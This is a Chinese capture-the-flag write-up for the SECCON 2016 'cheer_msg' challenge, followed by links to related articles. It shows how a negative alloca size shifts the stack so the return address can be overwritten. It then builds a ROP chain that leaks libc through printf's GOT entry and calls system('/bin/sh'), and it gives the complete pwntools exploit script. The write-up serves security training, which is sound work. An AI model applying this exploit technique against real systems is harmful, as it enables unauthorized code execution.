前言


本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


本文目的是以一道比较简单的 ctf 的练手,为后面的分析 RouterOs 的 漏洞和写 exploit 打基础。

Seccon CTF quals 2016 的一道题。

题目,idb 文件:

https://gitee.com/hac425/blog_data/tree/master/pwn_with_alloca

正文

首先看看 main 函数的代码。

逻辑还是比较简单的获取输入后,简单的加了 30 就给 alloca 去分配空间,然后进入 message 函数。

alloca 函数是 从 栈上分配内存, 它分配内存是通过 sub esp , * 来实现的,我们可以转到汇编代码看看。

可以看到调用 alloca 实际就是通过 sub esp, eax 来分配栈内存。

我们输入的 numint 类型的

如果我们输入 num 为 负数, sub esp 就相当于 add esp 我们可以把栈指针往栈底移动。

继续往下看

接下来会调用 message 函数, 可以看到传给他的参数为 esp + 23num , 进入 message 函数 ,看看他的逻辑。



首先读取 n 个字符 到 buf , 这两个变量就是我们传入的参数。

然后读入 0x40 个字符到 message 函数自己定义的局部变量中。

一切都很正常,没有溢出,没有格式化字符串漏洞。

程序的漏洞在于传入的 buf 是通过 alloca 分配的内存,我们可以通过输入 负数 使得 alloca的参数为负, 这样我们就可以把 esp 往栈底移动,栈底有返回地址, 然后通过 message 中读取数据,覆盖 eip 然后进行 rop 即可。

要触发漏洞我们需要输入负数,所以在



会直接返回,不会获取输入,因为它里面调用的是 fgets来获取输入。fgets会有检查。

所以我们只能往 message 函数内的缓冲区 t_buf写数据,不过这个缓冲区也是在栈上,同样与 esp 相关,所以我们把esp 往栈底移时,它也是会跟着下移,通过它也可以写 返回地址 的值。

我们可以输入 -140(这个值可以通过 先输入一个 比较小的比如 -32, 然后计算最后得到的数据的地址距离返回地址位置的距离,来继续调整)

0x0804860E 设个断点

sub 之后

可以看到 esp 已经增大。

然后加上一定的 padding (可以使用 pwntoolscyclic 计算) ,就能修改 返回地址了。

之后就是正常的 rop


使用 printf 打印 got 表中的 printf 的值,泄露 libc 的地址。然后回到程序的开始,再次触发漏洞, 调用 system("sh")


总结

alloca 的细节要注意, 注意输入的数据是有符号的还是无符号的。对于后面计算偏移,可以先动态调试计算一个粗略的值,然后使用 cyclic 确定精确的偏移。

exp

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']
r = process("./cheer_msg") binary = ELF('cheer_msg')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') gdb.attach(r, '''
bp 0x0804868B
bp 0x08048610
''') r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ") payload = "a" * 0x10 # padding
payload += p32(binary.symbols['printf'])
payload += p32(binary.entry) # ret to start
payload += p32(binary.got['printf']) r.sendline(payload) r.recvuntil("Message :")
r.recv(1)
r.recv(1)
printf_addr = u32(r.recv(4))
libc_base = printf_addr - libc.symbols['printf']
sh = libc_base + libc.search("/bin/sh\x00").next()
system = libc_base + libc.symbols['system'] log.info("got system: " + hex(system))
log.info("got base: " + hex(libc_base))
log.info("get sh " + hex(sh)) r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ") payload = "a" * 0x10 # padding
payload += p32(system)
payload += p32(binary.entry)
payload += p32(sh)
r.sendline(payload) r.interactive()

参考:

https://github.com/0x90r00t/Write-Ups/tree/master/Seccon/cheer_msg

一步一步 Pwn RouterOS之ctf题练手的更多相关文章

  1. 一步一步pwn路由器之rop技术实战

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ...

  2. 一步一步pwn路由器之wr940栈溢出漏洞分析与利用

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...

  3. 一步一步学ROP之linux_x64篇

    一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防 ...

  4. 一步一步学ROP之gadgets和2free篇(蒸米spark)

    目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ...

  5. 一步一步学ROP之linux_x64篇(蒸米spark)

    目录 一步一步学ROP之linux_x64篇(蒸米spark) 0x00 序 0x01 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击 0x02 ...

  6. 一步一步学ROP之linux_x86篇(蒸米spark)

    目录 一步一步学ROP之linux_x86篇(蒸米spark) 0x00 序 0x01 Control Flow Hijack 程序流劫持 0x02 Ret2libc – Bypass DEP 通过r ...

  7. 如何一步一步用DDD设计一个电商网站(九)—— 小心陷入值对象持久化的坑

    阅读目录 前言 场景1的思考 场景2的思考 避坑方式 实践 结语 一.前言 在上一篇中(如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成),有一行注释的代码: public interfa ...

  8. 如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成

    阅读目录 前言 建模 实现 结语 一.前言 前面几篇已经实现了一个基本的购买+售价计算的过程,这次再让售价丰满一些,增加一个会员价的概念.会员价在现在的主流电商中,是一个不大常见的模式,其带来的问题是 ...

  9. 如何一步一步用DDD设计一个电商网站(十)—— 一个完整的购物车

     阅读目录 前言 回顾 梳理 实现 结语 一.前言 之前的文章中已经涉及到了购买商品加入购物车,购物车内购物项的金额计算等功能.本篇准备把剩下的购物车的基本概念一次处理完. 二.回顾 在动手之前我对之 ...

随机推荐

  1. LayoutInflater.inflate源码分析

    基于Android 4.2.2做的分析 parser里封装了layout的dom对象,从中可以获取各节点参数 root为layout对应根节点的父节点,其作用见上述文档解释,需要注意一点的是,root ...

  2. Java之IO(十)Reader和Writer

    转载请注明源出处:http://www.cnblogs.com/lighten/p/7071733.html 1.前言 之前的章节已经将Java8的io包中的字节流介绍完毕了.本章开始介绍Java的I ...

  3. Linux下安装jdk8步骤详述(转载)

    Linux下安装jdk8步骤详述 原文地址:http://www.cnblogs.com/shihaiming/p/5809553.html 作为Java开发人员,在Linux下安装一些开发工具是必备 ...

  4. Vue-router的基本使用

    Vue-router的基本使用 相关Html: <!DOCTYPE html> <html lang="en"> <head> <meta ...

  5. Vue把父组件的方法传递给子组件调用(评论列表例子)

    Vue把父组件的方法传递给子组件调用(评论列表例子) 效果展示: 相关Html: <!DOCTYPE html> <html lang="en"> < ...

  6. DotNetOpenAuth 服务端搭建

    新建项目: 安装DotNetOpenAuth: 新增OAuthController: 代码如下: public class OAuthController : Controller { private ...

  7. 使用Topshelf部署Windows服务

    新建一个控制台应用程序,使用Nuget安装TopShelf: nuget Install-Package Topshelf 测试代码: 在Main中输入: //FileInfo fi = new Fi ...

  8. 【数组】Next Permutation

    题目: Implement next permutation, which rearranges numbers into the lexicographically next greater per ...

  9. 《LeetBook》leetcode题解(15):3Sum[M]

    我现在在做一个叫<leetbook>的免费开源书项目,力求提供最易懂的中文思路,目前把解题思路都同步更新到gitbook上了,需要的同学可以去看看 书的地址:https://hk029.g ...

  10. Spring+Druid+SpringMVC的搭建(附Demo)

    最近公司事情比较少,便想利用这段空闲时间做一个自己的博客. 前端界面已经搞好,感谢杨姐的模板,自己稍微把模板没有的模块给补全了. 今天便开始自己的SSM框架搭建,数据库链接是采用数据库连接池.先上个项 ...